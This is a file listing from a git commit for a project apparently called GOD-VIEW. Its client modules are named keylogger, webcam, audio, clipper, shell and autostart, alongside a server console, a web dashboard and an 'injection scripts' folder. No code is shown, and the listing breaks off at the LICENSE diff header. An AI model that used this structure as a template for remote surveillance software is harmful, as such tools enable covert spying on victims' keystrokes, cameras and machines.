| Bin 0 -> 1961 bytes server/web/public/static/flags/TC.png | Bin 0 -> 1653 bytes server/web/public/static/flags/TD.png | Bin 0 -> 181 bytes server/web/public/static/flags/TF.png | Bin 0 -> 860 bytes server/web/public/static/flags/TG.png | Bin 0 -> 401 bytes server/web/public/static/flags/TH.png | Bin 0 -> 184 bytes server/web/public/static/flags/TJ.png | Bin 0 -> 684 bytes server/web/public/static/flags/TK.png | Bin 0 -> 977 bytes server/web/public/static/flags/TL.png | Bin 0 -> 726 bytes server/web/public/static/flags/TM.png | Bin 0 -> 2308 bytes server/web/public/static/flags/TN.png | Bin 0 -> 1158 bytes server/web/public/static/flags/TO.png | Bin 0 -> 184 bytes server/web/public/static/flags/TR.png | Bin 0 -> 624 bytes server/web/public/static/flags/TT.png | Bin 0 -> 327 bytes server/web/public/static/flags/TV.png | Bin 0 -> 1845 bytes server/web/public/static/flags/TW.png | Bin 0 -> 603 bytes server/web/public/static/flags/TZ.png | Bin 0 -> 428 bytes server/web/public/static/flags/UA.png | Bin 0 -> 170 bytes server/web/public/static/flags/UG.png | Bin 0 -> 615 bytes server/web/public/static/flags/UM.png | Bin 0 -> 2190 bytes server/web/public/static/flags/US.png | Bin 0 -> 323 bytes server/web/public/static/flags/UY.png | Bin 0 -> 991 bytes server/web/public/static/flags/UZ.png | Bin 0 -> 815 bytes server/web/public/static/flags/VA.png | Bin 0 -> 802 bytes server/web/public/static/flags/VC.png | Bin 0 -> 851 bytes server/web/public/static/flags/VE.png | Bin 0 -> 1300 bytes server/web/public/static/flags/VG.png | Bin 0 -> 2129 bytes server/web/public/static/flags/VI.png | Bin 0 -> 3394 bytes server/web/public/static/flags/VN.png | Bin 0 -> 499 bytes server/web/public/static/flags/VU.png | Bin 0 -> 1269 bytes server/web/public/static/flags/WF.png | Bin 0 -> 307 bytes server/web/public/static/flags/WS.png | Bin 0 -> 737 bytes server/web/public/static/flags/XK.png | Bin 0 -> 2872 bytes server/web/public/static/flags/YE.png | Bin 0 -> 170 bytes server/web/public/static/flags/YT.png | Bin 0 -> 3199 bytes server/web/public/static/flags/ZA.png | Bin 0 -> 520 bytes server/web/public/static/flags/ZM.png | Bin 0 -> 657 bytes server/web/public/static/flags/ZW.png | Bin 0 -> 1381 bytes server/web/public/static/flags/placeholder.png | Bin 0 -> 2095 bytes server/web/public/static/poster.png | Bin 0 -> 18672 bytes server/web/src/App.tsx | 82 + server/web/src/components/Alert.tsx | 14 + server/web/src/components/Card.tsx | 80 + server/web/src/components/Footer.tsx | 347 + server/web/src/components/Select.tsx | 56 + server/web/src/components/Server.tsx | 571 + server/web/src/components/Sidebar.tsx | 136 + server/web/src/components/Window.tsx | 308 + server/web/src/design/GlobalStyle.tsx | 52 + server/web/src/design/components/Alert.design.tsx | 48 + server/web/src/design/components/Card.design.tsx | 60 + server/web/src/design/components/Footer.design.tsx | 132 + server/web/src/design/components/Select.design.tsx | 37 + server/web/src/design/components/Server.design.tsx | 120 + .../web/src/design/components/Sidebar.design.tsx | 108 + server/web/src/design/components/Window.design.tsx | 209 + server/web/src/index.tsx | 56 + server/web/src/interfaces/Activity.interface.ts | 6 + server/web/src/interfaces/Alert.interface.ts | 4 + server/web/src/interfaces/AllReducer.interface.ts | 8 + server/web/src/interfaces/Client.interface.ts | 11 + server/web/src/interfaces/Stream.interface.ts | 4 + .../src/interfaces/components/Card.interface.ts | 7 + .../src/interfaces/components/Footer.interface.ts | 8 + .../src/interfaces/components/Select.interface.ts | 12 + .../src/interfaces/components/Server.interface.ts | 15 + .../src/interfaces/components/Sidebar.interface.ts | 8 + .../src/interfaces/components/Window.interface.ts | 22 + .../src/interfaces/design/AlertDesign.interface.ts | 3 + .../interfaces/design/FooterDesign.interface.ts | 3 + .../interfaces/design/ServerDesign.interface.ts | 7 + .../interfaces/design/SidebarDesign.interface.ts | 3 + server/web/src/react-app-env.d.ts | 1 + server/web/src/redux/actions.ts | 55 + server/web/src/redux/allReducer.ts | 83 + server/web/src/redux/store.ts | 4 + server/web/tsconfig.json | 19 + shared/data.py | 141 + shared/error.py | 35 + shared/helper.py | 123 + shared/state.py | 83 + 628 files changed, 24025 insertions(+) create mode 100644 LICENSE create mode 100644 README.md create mode 100644 archive/scripts/injection_scripts_here.txt create mode 100644 archive/scripts/python_scripts_here.py create mode 100644 archive/uploads/files_to_upload_here.txt create mode 100644 bot.py create mode 100644 build/GOD-VIEW.pdf create mode 100644 build/gv-design.png create mode 100644 build/gv-model.png create mode 100644 build/gv.ico create mode 100644 build/requirements.txt create mode 100644 build/requirements_wheels.txt create mode 100644 client/action.py create mode 100644 client/autostart.py create mode 100644 client/error.py create mode 100644 client/helper.py create mode 100644 client/modules/audio.py create mode 100644 client/modules/clipper.py create mode 100644 client/modules/desktop.py create mode 100644 client/modules/keylogger.py create mode 100644 client/modules/module.py create mode 100644 client/modules/webcam.py create mode 100644 client/shell.py create mode 100644 client/socket.py create mode 100644 client/state.py create mode 100644 client/sysinfo.py create mode 100644 gui/asset-manifest.json create mode 100644 gui/favicon.ico create mode 100644 gui/index.html create mode 100644 gui/precache-manifest.18b63ea7e20f1ae650099d4a212bf862.js create mode 100644 gui/service-worker.js create mode 100644 gui/static/alert.wav create mode 100644 gui/static/css/2.bdb273ca.chunk.css create mode 100644 gui/static/css/2.bdb273ca.chunk.css.map create mode 100644 gui/static/flags/AD.png create mode 100644 gui/static/flags/AE.png create mode 100644 gui/static/flags/AF.png create mode 100644 gui/static/flags/AG.png create mode 100644 gui/static/flags/AH.png create mode 100644 gui/static/flags/AI.png create mode 100644 gui/static/flags/AK.png create mode 100644 gui/static/flags/AL.png create mode 100644 gui/static/flags/AM.png create mode 100644 gui/static/flags/AN.png create mode 100644 gui/static/flags/AO.png create mode 100644 gui/static/flags/AQ.png create mode 100644 gui/static/flags/AR.png create mode 100644 gui/static/flags/AS.png create mode 100644 gui/static/flags/AT.png create mode 100644 gui/static/flags/AU.png create mode 100644 gui/static/flags/AW.png create mode 100644 gui/static/flags/AX.png create mode 100644 gui/static/flags/AZ.png create mode 100644 gui/static/flags/BA.png create mode 100644 gui/static/flags/BB.png create mode 100644 gui/static/flags/BD.png create mode 100644 gui/static/flags/BE.png create mode 100644 gui/static/flags/BF.png create mode 100644 gui/static/flags/BG.png create mode 100644 gui/static/flags/BH.png create mode 100644 gui/static/flags/BI.png create mode 100644 gui/static/flags/BJ.png create mode 100644 gui/static/flags/BL.png create mode 100644 gui/static/flags/BM.png create mode 100644 gui/static/flags/BN.png create mode 100644 gui/static/flags/BO.png create mode 100644 gui/static/flags/BQ.png create mode 100644 gui/static/flags/BR.png create mode 100644 gui/static/flags/BS.png create mode 100644 gui/static/flags/BT.png create mode 100644 gui/static/flags/BV.png create mode 100644 gui/static/flags/BW.png create mode 100644 gui/static/flags/BY.png create mode 100644 gui/static/flags/BZ.png create mode 100644 gui/static/flags/CA.png create mode 100644 gui/static/flags/CC.png create mode 100644 gui/static/flags/CD.png create mode 100644 gui/static/flags/CF.png create mode 100644 gui/static/flags/CG.png create mode 100644 gui/static/flags/CH.png create mode 100644 gui/static/flags/CI.png create mode 100644 gui/static/flags/CK.png create mode 100644 gui/static/flags/CL.png create mode 100644 gui/static/flags/CM.png create mode 100644 gui/static/flags/CN.png create mode 100644 gui/static/flags/CO.png create mode 100644 gui/static/flags/CR.png create mode 100644 gui/static/flags/CU.png create mode 100644 gui/static/flags/CV.png create mode 100644 gui/static/flags/CW.png create mode 100644 gui/static/flags/CX.png create mode 100644 gui/static/flags/CY.png create mode 100644 gui/static/flags/CZ.png create mode 100644 gui/static/flags/DE.png create mode 100644 gui/static/flags/DJ.png create mode 100644 gui/static/flags/DK.png create mode 100644 gui/static/flags/DM.png create mode 100644 gui/static/flags/DO.png create mode 100644 gui/static/flags/DZ.png create mode 100644 gui/static/flags/EC.png create mode 100644 gui/static/flags/EE.png create mode 100644 gui/static/flags/EG.png create mode 100644 gui/static/flags/EH.png create mode 100644 gui/static/flags/ER.png create mode 100644 gui/static/flags/ES.png create mode 100644 gui/static/flags/ET.png create mode 100644 gui/static/flags/EU.png create mode 100644 gui/static/flags/FI.png create mode 100644 gui/static/flags/FJ.png create mode 100644 gui/static/flags/FK.png create mode 100644 gui/static/flags/FM.png create mode 100644 gui/static/flags/FO.png create mode 100644 gui/static/flags/FR.png create mode 100644 gui/static/flags/GA.png create mode 100644 gui/static/flags/GB.png create mode 100644 gui/static/flags/GD.png create mode 100644 gui/static/flags/GE.png create mode 100644 gui/static/flags/GF.png create mode 100644 gui/static/flags/GG.png create mode 100644 gui/static/flags/GH.png create mode 100644 gui/static/flags/GI.png create mode 100644 gui/static/flags/GL.png create mode 100644 gui/static/flags/GM.png create mode 100644 gui/static/flags/GN.png create mode 100644 gui/static/flags/GP.png create mode 100644 gui/static/flags/GQ.png create mode 100644 gui/static/flags/GR.png create mode 100644 gui/static/flags/GS.png create mode 100644 gui/static/flags/GT.png create mode 100644 gui/static/flags/GU.png create mode 100644 gui/static/flags/GW.png create mode 100644 gui/static/flags/GY.png create mode 100644 gui/static/flags/HK.png create mode 100644 gui/static/flags/HM.png create mode 100644 gui/static/flags/HN.png create mode 100644 gui/static/flags/HR.png create mode 100644 gui/static/flags/HT.png create mode 100644 gui/static/flags/HU.png create mode 100644 gui/static/flags/IC.png create mode 100644 gui/static/flags/ID.png create mode 100644 gui/static/flags/IE.png create mode 100644 gui/static/flags/IL.png create mode 100644 gui/static/flags/IM.png create mode 100644 gui/static/flags/IN.png create mode 100644 gui/static/flags/IO.png create mode 100644 gui/static/flags/IQ.png create mode 100644 gui/static/flags/IR.png create mode 100644 gui/static/flags/IS.png create mode 100644 gui/static/flags/IT.png create mode 100644 gui/static/flags/JE.png create mode 100644 gui/static/flags/JM.png create mode 100644 gui/static/flags/JO.png create mode 100644 gui/static/flags/JP.png create mode 100644 gui/static/flags/KE.png create mode 100644 gui/static/flags/KG.png create mode 100644 gui/static/flags/KH.png create mode 100644 gui/static/flags/KI.png create mode 100644 gui/static/flags/KM.png create mode 100644 gui/static/flags/KN.png create mode 100644 gui/static/flags/KP.png create mode 100644 gui/static/flags/KR.png create mode 100644 gui/static/flags/KW.png create mode 100644 gui/static/flags/KY.png create mode 100644 gui/static/flags/KZ.png create mode 100644 gui/static/flags/LA.png create mode 100644 gui/static/flags/LB.png create mode 100644 gui/static/flags/LC.png create mode 100644 gui/static/flags/LI.png create mode 100644 gui/static/flags/LK.png create mode 100644 gui/static/flags/LR.png create mode 100644 gui/static/flags/LS.png create mode 100644 gui/static/flags/LT.png create mode 100644 gui/static/flags/LU.png create mode 100644 gui/static/flags/LV.png create mode 100644 gui/static/flags/LY.png create mode 100644 gui/static/flags/MA.png create mode 100644 gui/static/flags/MC.png create mode 100644 gui/static/flags/MD.png create mode 100644 gui/static/flags/ME.png create mode 100644 gui/static/flags/MF.png create mode 100644 gui/static/flags/MG.png create mode 100644 gui/static/flags/MH.png create mode 100644 gui/static/flags/MK.png create mode 100644 gui/static/flags/ML.png create mode 100644 gui/static/flags/MM.png create mode 100644 gui/static/flags/MN.png create mode 100644 gui/static/flags/MO.png create mode 100644 gui/static/flags/MP.png create mode 100644 gui/static/flags/MQ.png create mode 100644 gui/static/flags/MR.png create mode 100644 gui/static/flags/MS.png create mode 100644 gui/static/flags/MT.png create mode 100644 gui/static/flags/MU.png create mode 100644 gui/static/flags/MV.png create mode 100644 gui/static/flags/MW.png create mode 100644 gui/static/flags/MX.png create mode 100644 gui/static/flags/MY.png create mode 100644 gui/static/flags/MZ.png create mode 100644 gui/static/flags/NA.png create mode 100644 gui/static/flags/NC.png create mode 100644 gui/static/flags/NE.png create mode 100644 gui/static/flags/NF.png create mode 100644 gui/static/flags/NG.png create mode 100644 gui/static/flags/NI.png create mode 100644 gui/static/flags/NL.png create mode 100644 gui/static/flags/NO.png create mode 100644 gui/static/flags/NP.png create mode 100644 gui/static/flags/NR.png create mode 100644 gui/static/flags/NU.png create mode 100644 gui/static/flags/NY.png create mode 100644 gui/static/flags/NZ.png create mode 100644 gui/static/flags/OM.png create mode 100644 gui/static/flags/PA.png create mode 100644 gui/static/flags/PE.png create mode 100644 gui/static/flags/PF.png create mode 100644 gui/static/flags/PG.png create mode 100644 gui/static/flags/PH.png create mode 100644 gui/static/flags/PK.png create mode 100644 gui/static/flags/PL.png create mode 100644 gui/static/flags/PM.png create mode 100644 gui/static/flags/PN.png create mode 100644 gui/static/flags/PR.png create mode 100644 gui/static/flags/PS.png create mode 100644 gui/static/flags/PT.png create mode 100644 gui/static/flags/PW.png create mode 100644 gui/static/flags/PY.png create mode 100644 gui/static/flags/QA.png create mode 100644 gui/static/flags/RE.png create mode 100644 gui/static/flags/RO.png create mode 100644 gui/static/flags/RS.png create mode 100644 gui/static/flags/RU.png create mode 100644 gui/static/flags/RW.png create mode 100644 gui/static/flags/SA.png create mode 100644 gui/static/flags/SB.png create mode 100644 gui/static/flags/SC.png create mode 100644 gui/static/flags/SD.png create mode 100644 gui/static/flags/SE.png create mode 100644 gui/static/flags/SG.png create mode 100644 gui/static/flags/SH.png create mode 100644 gui/static/flags/SI.png create mode 100644 gui/static/flags/SJ.png create mode 100644 gui/static/flags/SK.png create mode 100644 gui/static/flags/SL.png create mode 100644 gui/static/flags/SM.png create mode 100644 gui/static/flags/SN.png create mode 100644 gui/static/flags/SO.png create mode 100644 gui/static/flags/SR.png create mode 100644 gui/static/flags/SS.png create mode 100644 gui/static/flags/ST.png create mode 100644 gui/static/flags/SV.png create mode 100644 gui/static/flags/SX.png create mode 100644 gui/static/flags/SY.png create mode 100644 gui/static/flags/SZ.png create mode 100644 gui/static/flags/TC.png create mode 100644 gui/static/flags/TD.png create mode 100644 gui/static/flags/TF.png create mode 100644 gui/static/flags/TG.png create mode 100644 gui/static/flags/TH.png create mode 100644 gui/static/flags/TJ.png create mode 100644 gui/static/flags/TK.png create mode 100644 gui/static/flags/TL.png create mode 100644 gui/static/flags/TM.png create mode 100644 gui/static/flags/TN.png create mode 100644 gui/static/flags/TO.png create mode 100644 gui/static/flags/TR.png create mode 100644 gui/static/flags/TT.png create mode 100644 gui/static/flags/TV.png create mode 100644 gui/static/flags/TW.png create mode 100644 gui/static/flags/TZ.png create mode 100644 gui/static/flags/UA.png create mode 100644 gui/static/flags/UG.png create mode 100644 gui/static/flags/UM.png create mode 100644 gui/static/flags/US.png create mode 100644 gui/static/flags/UY.png create mode 100644 gui/static/flags/UZ.png create mode 100644 gui/static/flags/VA.png create mode 100644 gui/static/flags/VC.png create mode 100644 gui/static/flags/VE.png create mode 100644 gui/static/flags/VG.png create mode 100644 gui/static/flags/VI.png create mode 100644 gui/static/flags/VN.png create mode 100644 gui/static/flags/VU.png create mode 100644 gui/static/flags/WF.png create mode 100644 gui/static/flags/WS.png create mode 100644 gui/static/flags/XK.png create mode 100644 gui/static/flags/YE.png create mode 100644 gui/static/flags/YT.png create mode 100644 gui/static/flags/ZA.png create mode 100644 gui/static/flags/ZM.png create mode 100644 gui/static/flags/ZW.png create mode 100644 gui/static/flags/placeholder.png create mode 100644 gui/static/js/2.a739d3d0.chunk.js create mode 100644 gui/static/js/2.a739d3d0.chunk.js.LICENSE.txt create mode 100644 gui/static/js/2.a739d3d0.chunk.js.map create mode 100644 gui/static/js/main.bca18f22.chunk.js create mode 100644 gui/static/js/main.bca18f22.chunk.js.map create mode 100644 gui/static/js/runtime-main.97e57f87.js create mode 100644 gui/static/js/runtime-main.97e57f87.js.map create mode 100644 gui/static/media/plyr.3a727a9b.svg create mode 100644 gui/static/poster.png create mode 100644 host.py create mode 100644 server/action.py create mode 100644 server/alias.py create mode 100644 server/autotask.py create mode 100644 server/blacklist.py create mode 100644 server/console.py create mode 100644 server/controller.py create mode 100644 server/database.py create mode 100644 server/email.py create mode 100644 server/environment.py create mode 100644 server/error.py create mode 100644 server/event.py create mode 100644 server/helper.py create mode 100644 server/modules/audio.py create mode 100644 server/modules/desktop.py create mode 100644 server/modules/logger.py create mode 100644 server/modules/module.py create mode 100644 server/modules/webcam.py create mode 100644 server/parse.py create mode 100644 server/request.py create mode 100644 server/settings.py create mode 100644 server/socket.py create mode 100644 server/state.py create mode 100644 server/web.py create mode 100644 server/web/package-lock.json create mode 100644 server/web/package.json create mode 100644 server/web/public/favicon.ico create mode 100644 server/web/public/index.html create mode 100644 server/web/public/static/alert.wav create mode 100644 server/web/public/static/flags/AD.png create mode 100644 server/web/public/static/flags/AE.png create mode 100644 server/web/public/static/flags/AF.png create mode 100644 server/web/public/static/flags/AG.png create mode 100644 server/web/public/static/flags/AH.png create mode 100644 server/web/public/static/flags/AI.png create mode 100644 server/web/public/static/flags/AK.png create mode 100644 server/web/public/static/flags/AL.png create mode 100644 server/web/public/static/flags/AM.png create mode 100644 server/web/public/static/flags/AN.png create mode 100644 server/web/public/static/flags/AO.png create mode 100644 server/web/public/static/flags/AQ.png create mode 100644 server/web/public/static/flags/AR.png create mode 100644 server/web/public/static/flags/AS.png create mode 100644 server/web/public/static/flags/AT.png create mode 100644 server/web/public/static/flags/AU.png create mode 100644 server/web/public/static/flags/AW.png create mode 100644 server/web/public/static/flags/AX.png create mode 100644 server/web/public/static/flags/AZ.png create mode 100644 server/web/public/static/flags/BA.png create mode 100644 server/web/public/static/flags/BB.png create mode 100644 server/web/public/static/flags/BD.png create mode 100644 server/web/public/static/flags/BE.png create mode 100644 server/web/public/static/flags/BF.png create mode 100644 server/web/public/static/flags/BG.png create mode 100644 server/web/public/static/flags/BH.png create mode 100644 server/web/public/static/flags/BI.png create mode 100644 server/web/public/static/flags/BJ.png create mode 100644 server/web/public/static/flags/BL.png create mode 100644 server/web/public/static/flags/BM.png create mode 100644 server/web/public/static/flags/BN.png create mode 100644 server/web/public/static/flags/BO.png create mode 100644 server/web/public/static/flags/BQ.png create mode 100644 server/web/public/static/flags/BR.png create mode 100644 server/web/public/static/flags/BS.png create mode 100644 server/web/public/static/flags/BT.png create mode 100644 server/web/public/static/flags/BV.png create mode 100644 server/web/public/static/flags/BW.png create mode 100644 server/web/public/static/flags/BY.png create mode 100644 server/web/public/static/flags/BZ.png create mode 100644 server/web/public/static/flags/CA.png create mode 100644 server/web/public/static/flags/CC.png create mode 100644 server/web/public/static/flags/CD.png create mode 100644 server/web/public/static/flags/CF.png create mode 100644 server/web/public/static/flags/CG.png create mode 100644 server/web/public/static/flags/CH.png create mode 100644 server/web/public/static/flags/CI.png create mode 100644 server/web/public/static/flags/CK.png create mode 100644 server/web/public/static/flags/CL.png create mode 100644 server/web/public/static/flags/CM.png create mode 100644 server/web/public/static/flags/CN.png create mode 100644 server/web/public/static/flags/CO.png create mode 100644 server/web/public/static/flags/CR.png create mode 100644 server/web/public/static/flags/CU.png create mode 100644 server/web/public/static/flags/CV.png create mode 100644 server/web/public/static/flags/CW.png create mode 100644 server/web/public/static/flags/CX.png create mode 100644 server/web/public/static/flags/CY.png create mode 100644 server/web/public/static/flags/CZ.png create mode 100644 server/web/public/static/flags/DE.png create mode 100644 server/web/public/static/flags/DJ.png create mode 100644 server/web/public/static/flags/DK.png create mode 100644 server/web/public/static/flags/DM.png create mode 100644 server/web/public/static/flags/DO.png create mode 100644 server/web/public/static/flags/DZ.png create mode 100644 server/web/public/static/flags/EC.png create mode 100644 server/web/public/static/flags/EE.png create mode 100644 server/web/public/static/flags/EG.png create mode 100644 server/web/public/static/flags/EH.png create mode 100644 server/web/public/static/flags/ER.png create mode 100644 server/web/public/static/flags/ES.png create mode 100644 server/web/public/static/flags/ET.png create mode 100644 server/web/public/static/flags/EU.png create mode 100644 server/web/public/static/flags/FI.png create mode 100644 server/web/public/static/flags/FJ.png create mode 100644 server/web/public/static/flags/FK.png create mode 100644 server/web/public/static/flags/FM.png create mode 100644 server/web/public/static/flags/FO.png create mode 100644 server/web/public/static/flags/FR.png create mode 100644 server/web/public/static/flags/GA.png create mode 100644 server/web/public/static/flags/GB.png create mode 100644 server/web/public/static/flags/GD.png create mode 100644 server/web/public/static/flags/GE.png create mode 100644 server/web/public/static/flags/GF.png create mode 100644 server/web/public/static/flags/GG.png create mode 100644 server/web/public/static/flags/GH.png create mode 100644 server/web/public/static/flags/GI.png create mode 100644 server/web/public/static/flags/GL.png create mode 100644 server/web/public/static/flags/GM.png create mode 100644 server/web/public/static/flags/GN.png create mode 100644 server/web/public/static/flags/GP.png create mode 100644 server/web/public/static/flags/GQ.png create mode 100644 server/web/public/static/flags/GR.png create mode 100644 server/web/public/static/flags/GS.png create mode 100644 server/web/public/static/flags/GT.png create mode 100644 server/web/public/static/flags/GU.png create mode 100644 server/web/public/static/flags/GW.png create mode 100644 server/web/public/static/flags/GY.png create mode 100644 server/web/public/static/flags/HK.png create mode 100644 server/web/public/static/flags/HM.png create mode 100644 server/web/public/static/flags/HN.png create mode 100644 server/web/public/static/flags/HR.png create mode 100644 server/web/public/static/flags/HT.png create mode 100644 server/web/public/static/flags/HU.png create mode 100644 server/web/public/static/flags/IC.png create mode 100644 server/web/public/static/flags/ID.png create mode 100644 server/web/public/static/flags/IE.png create mode 100644 server/web/public/static/flags/IL.png create mode 100644 server/web/public/static/flags/IM.png create mode 100644 server/web/public/static/flags/IN.png create mode 100644 server/web/public/static/flags/IO.png create mode 100644 server/web/public/static/flags/IQ.png create mode 100644 server/web/public/static/flags/IR.png create mode 100644 server/web/public/static/flags/IS.png create mode 100644 server/web/public/static/flags/IT.png create mode 100644 server/web/public/static/flags/JE.png create mode 100644 server/web/public/static/flags/JM.png create mode 100644 server/web/public/static/flags/JO.png create mode 100644 server/web/public/static/flags/JP.png create mode 100644 server/web/public/static/flags/KE.png create mode 100644 server/web/public/static/flags/KG.png create mode 100644 server/web/public/static/flags/KH.png create mode 100644 server/web/public/static/flags/KI.png create mode 100644 server/web/public/static/flags/KM.png create mode 100644 server/web/public/static/flags/KN.png create mode 100644 server/web/public/static/flags/KP.png create mode 100644 server/web/public/static/flags/KR.png create mode 100644 server/web/public/static/flags/KW.png create mode 100644 server/web/public/static/flags/KY.png create mode 100644 server/web/public/static/flags/KZ.png create mode 100644 server/web/public/static/flags/LA.png create mode 100644 server/web/public/static/flags/LB.png create mode 100644 server/web/public/static/flags/LC.png create mode 100644 server/web/public/static/flags/LI.png create mode 100644 server/web/public/static/flags/LK.png create mode 100644 server/web/public/static/flags/LR.png create mode 100644 server/web/public/static/flags/LS.png create mode 100644 server/web/public/static/flags/LT.png create mode 100644 server/web/public/static/flags/LU.png create mode 100644 server/web/public/static/flags/LV.png create mode 100644 server/web/public/static/flags/LY.png create mode 100644 server/web/public/static/flags/MA.png create mode 100644 server/web/public/static/flags/MC.png create mode 100644 server/web/public/static/flags/MD.png create mode 100644 server/web/public/static/flags/ME.png create mode 100644 server/web/public/static/flags/MF.png create mode 100644 server/web/public/static/flags/MG.png create mode 100644 server/web/public/static/flags/MH.png create mode 100644 server/web/public/static/flags/MK.png create mode 100644 server/web/public/static/flags/ML.png create mode 100644 server/web/public/static/flags/MM.png create mode 100644 server/web/public/static/flags/MN.png create mode 100644 server/web/public/static/flags/MO.png create mode 100644 server/web/public/static/flags/MP.png create mode 100644 server/web/public/static/flags/MQ.png create mode 100644 server/web/public/static/flags/MR.png create mode 100644 server/web/public/static/flags/MS.png create mode 100644 server/web/public/static/flags/MT.png create mode 100644 server/web/public/static/flags/MU.png create mode 100644 server/web/public/static/flags/MV.png create mode 100644 server/web/public/static/flags/MW.png create mode 100644 server/web/public/static/flags/MX.png create mode 100644 server/web/public/static/flags/MY.png create mode 100644 server/web/public/static/flags/MZ.png create mode 100644 server/web/public/static/flags/NA.png create mode 100644 server/web/public/static/flags/NC.png create mode 100644 server/web/public/static/flags/NE.png create mode 100644 server/web/public/static/flags/NF.png create mode 100644 server/web/public/static/flags/NG.png create mode 100644 server/web/public/static/flags/NI.png create mode 100644 server/web/public/static/flags/NL.png create mode 100644 server/web/public/static/flags/NO.png create mode 100644 server/web/public/static/flags/NP.png create mode 100644 server/web/public/static/flags/NR.png create mode 100644 server/web/public/static/flags/NU.png create mode 100644 server/web/public/static/flags/NY.png create mode 100644 server/web/public/static/flags/NZ.png create mode 100644 server/web/public/static/flags/OM.png create mode 100644 server/web/public/static/flags/PA.png create mode 100644 server/web/public/static/flags/PE.png create mode 100644 server/web/public/static/flags/PF.png create mode 100644 server/web/public/static/flags/PG.png create mode 100644 server/web/public/static/flags/PH.png create mode 100644 server/web/public/static/flags/PK.png create mode 100644 server/web/public/static/flags/PL.png create mode 100644 server/web/public/static/flags/PM.png create mode 100644 server/web/public/static/flags/PN.png create mode 100644 server/web/public/static/flags/PR.png create mode 100644 server/web/public/static/flags/PS.png create mode 100644 server/web/public/static/flags/PT.png create mode 100644 server/web/public/static/flags/PW.png create mode 100644 server/web/public/static/flags/PY.png create mode 100644 server/web/public/static/flags/QA.png create mode 100644 server/web/public/static/flags/RE.png create mode 100644 server/web/public/static/flags/RO.png create mode 100644 server/web/public/static/flags/RS.png create mode 100644 server/web/public/static/flags/RU.png create mode 100644 server/web/public/static/flags/RW.png create mode 100644 server/web/public/static/flags/SA.png create mode 100644 server/web/public/static/flags/SB.png create mode 100644 server/web/public/static/flags/SC.png create mode 100644 server/web/public/static/flags/SD.png create mode 100644 server/web/public/static/flags/SE.png create mode 100644 server/web/public/static/flags/SG.png create mode 100644 server/web/public/static/flags/SH.png create mode 100644 server/web/public/static/flags/SI.png create mode 100644 server/web/public/static/flags/SJ.png create mode 100644 server/web/public/static/flags/SK.png create mode 100644 server/web/public/static/flags/SL.png create mode 100644 server/web/public/static/flags/SM.png create mode 100644 server/web/public/static/flags/SN.png create mode 100644 server/web/public/static/flags/SO.png create mode 100644 server/web/public/static/flags/SR.png create mode 100644 server/web/public/static/flags/SS.png create mode 100644 server/web/public/static/flags/ST.png create mode 100644 server/web/public/static/flags/SV.png create mode 100644 server/web/public/static/flags/SX.png create mode 100644 server/web/public/static/flags/SY.png create mode 100644 server/web/public/static/flags/SZ.png create mode 100644 server/web/public/static/flags/TC.png create mode 100644 server/web/public/static/flags/TD.png create mode 100644 server/web/public/static/flags/TF.png create mode 100644 server/web/public/static/flags/TG.png create mode 100644 server/web/public/static/flags/TH.png create mode 100644 server/web/public/static/flags/TJ.png create mode 100644 server/web/public/static/flags/TK.png create mode 100644 server/web/public/static/flags/TL.png create mode 100644 server/web/public/static/flags/TM.png create mode 100644 server/web/public/static/flags/TN.png create mode 100644 server/web/public/static/flags/TO.png create mode 100644 server/web/public/static/flags/TR.png create mode 100644 server/web/public/static/flags/TT.png create mode 100644 server/web/public/static/flags/TV.png create mode 100644 server/web/public/static/flags/TW.png create mode 100644 server/web/public/static/flags/TZ.png create mode 100644 server/web/public/static/flags/UA.png create mode 100644 server/web/public/static/flags/UG.png create mode 100644 server/web/public/static/flags/UM.png create mode 100644 server/web/public/static/flags/US.png create mode 100644 server/web/public/static/flags/UY.png create mode 100644 server/web/public/static/flags/UZ.png create mode 100644 server/web/public/static/flags/VA.png create mode 100644 server/web/public/static/flags/VC.png create mode 100644 server/web/public/static/flags/VE.png create mode 100644 server/web/public/static/flags/VG.png create mode 100644 server/web/public/static/flags/VI.png create mode 100644 server/web/public/static/flags/VN.png create mode 100644 server/web/public/static/flags/VU.png create mode 100644 server/web/public/static/flags/WF.png create mode 100644 server/web/public/static/flags/WS.png create mode 100644 server/web/public/static/flags/XK.png create mode 100644 server/web/public/static/flags/YE.png create mode 100644 server/web/public/static/flags/YT.png create mode 100644 server/web/public/static/flags/ZA.png create mode 100644 server/web/public/static/flags/ZM.png create mode 100644 server/web/public/static/flags/ZW.png create mode 100644 server/web/public/static/flags/placeholder.png create mode 100644 server/web/public/static/poster.png create mode 100644 server/web/src/App.tsx create mode 100644 server/web/src/components/Alert.tsx create mode 100644 server/web/src/components/Card.tsx create mode 100644 server/web/src/components/Footer.tsx create mode 100644 server/web/src/components/Select.tsx create mode 100644 server/web/src/components/Server.tsx create mode 100644 server/web/src/components/Sidebar.tsx create mode 100644 server/web/src/components/Window.tsx create mode 100644 server/web/src/design/GlobalStyle.tsx create mode 100644 server/web/src/design/components/Alert.design.tsx create mode 100644 server/web/src/design/components/Card.design.tsx create mode 100644 server/web/src/design/components/Footer.design.tsx create mode 100644 server/web/src/design/components/Select.design.tsx create mode 100644 server/web/src/design/components/Server.design.tsx create mode 100644 server/web/src/design/components/Sidebar.design.tsx create mode 100644 server/web/src/design/components/Window.design.tsx create mode 100644 server/web/src/index.tsx create mode 100644 server/web/src/interfaces/Activity.interface.ts create mode 100644 server/web/src/interfaces/Alert.interface.ts create mode 100644 server/web/src/interfaces/AllReducer.interface.ts create mode 100644 server/web/src/interfaces/Client.interface.ts create mode 100644 server/web/src/interfaces/Stream.interface.ts create mode 100644 server/web/src/interfaces/components/Card.interface.ts create mode 100644 server/web/src/interfaces/components/Footer.interface.ts create mode 100644 server/web/src/interfaces/components/Select.interface.ts create mode 100644 server/web/src/interfaces/components/Server.interface.ts create mode 100644 server/web/src/interfaces/components/Sidebar.interface.ts create mode 100644 server/web/src/interfaces/components/Window.interface.ts create mode 100644 server/web/src/interfaces/design/AlertDesign.interface.ts create mode 100644 server/web/src/interfaces/design/FooterDesign.interface.ts create mode 100644 server/web/src/interfaces/design/ServerDesign.interface.ts create mode 100644 server/web/src/interfaces/design/SidebarDesign.interface.ts create mode 100644 server/web/src/react-app-env.d.ts create mode 100644 server/web/src/redux/actions.ts create mode 100644 server/web/src/redux/allReducer.ts create mode 100644 server/web/src/redux/store.ts create mode 100644 server/web/tsconfig.json create mode 100644 shared/data.py create mode 100644 shared/error.py create mode 100644 shared/helper.py create mode 100644 shared/state.py diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/LICENSE @@ 